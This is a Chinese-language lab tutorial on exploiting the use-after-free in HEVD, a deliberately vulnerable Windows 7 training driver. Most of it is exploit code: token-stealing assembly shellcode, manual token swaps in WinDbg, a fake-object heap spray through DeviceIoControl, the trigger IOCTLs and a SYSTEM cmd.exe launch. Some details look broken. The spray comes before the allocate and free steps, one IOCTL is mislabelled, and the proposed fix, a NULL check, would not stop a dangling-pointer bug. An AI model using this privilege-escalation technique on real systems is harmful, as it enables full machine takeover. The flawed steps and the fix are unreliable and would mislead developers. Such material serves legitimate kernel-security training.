Windows Kernel Exploit(一) -> UAF
字数 822 2025-08-05 08:19:22
Windows Kernel Exploit 教学:UAF漏洞分析与利用
0x00 实验环境准备
- 操作系统:Windows 7 x86 sp1
- 调试工具:Windbg + VirtualKD
- 漏洞环境:HEVD (HackSys Extreme Vulnerable Driver) + OSR Loader
0x01 提权原理
进程Token机制
Windows系统中,每个进程都有一个Token结构体,用于标识其权限级别。系统权限的Token值比普通进程更高,通过替换Token可以实现提权。
查看进程Token的方法:
kd> !dml_proc
Address PID Image file name
865ce8a8 4 System
87040ca0 bc0 cmd.exe
kd> dt nt!_EX_FAST_REF 865ce8a8+f8 // System token
kd> dt nt!_EX_FAST_REF 87040ca0+f8 // cmd token
手动修改Token实现提权:
kd> ed 87040ca0+f8 8a201275 // 将cmd的Token替换为System的Token
自动化提权Shellcode
void ShellCode() {
_asm {
nop
nop
nop
nop
pushad
mov eax, fs:[124h] // 获取当前线程的_KTHREAD结构
mov eax, [eax + 0x50] // 获取nt!_KTHREAD.ApcState.Process
mov ecx, eax // 保存当前进程的_EPROCESS结构
mov edx, 4 // SYSTEM进程的PID(4)
// 遍历进程链表查找SYSTEM进程
find_sys_pid:
mov eax, [eax + 0xb8] // 进程活动链表
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 比较PID
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
0x02 UAF漏洞原理
基本概念
Use After Free (UAF)是指内存块被释放后再次被使用的情况,主要分为三种:
- 内存释放后指针被置NULL,再次使用导致崩溃
- 内存释放后指针未置NULL,且未被修改,程序可能正常运行
- 内存释放后指针未置NULL,但被修改,导致程序异常行为
HEVD中的UAF漏洞
在HEVD驱动中存在以下关键结构:
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
漏洞触发点:
if (g_UseAfterFreeObject) {
g_UseAfterFreeObject->Callback(); // 可能执行恶意代码
}
0x03 漏洞利用
利用思路
- 申请与漏洞对象相同大小的内存
- 构造伪造对象,将Callback指向Shellcode
- 使用堆喷射技术提高命中率
- 触发UAF执行恶意代码
关键数据结构
typedef struct _FAKE_USE_AFTER_FREE {
FunctionPointer countinter;
char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
利用代码实现
- 构造伪造对象:
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
- 堆喷射:
for (int i = 0; i < 5000; i++) {
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
- 触发漏洞:
// 调用UseUaFObject()
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用FreeUaFObject()
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
- 验证提权:
void CreateCmd() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
if (bReturn) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
}
0x04 漏洞修复方案
修复UAF漏洞的关键是在使用前检查对象是否有效:
if (g_UseAfterFreeObject != NULL) {
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}
0x05 相关漏洞参考
- CVE-2014-4113
- CVE-2018-8120
0x06 总结
本教学详细介绍了Windows内核UAF漏洞的原理和利用方法,关键点包括:
- Windows Token提权机制
- UAF漏洞原理及分类
- 堆喷射技术应用
- 实际漏洞利用步骤
- 漏洞修复方案
通过本教学,读者可以深入理解Windows内核UAF漏洞的利用方法,为进一步研究内核安全打下基础。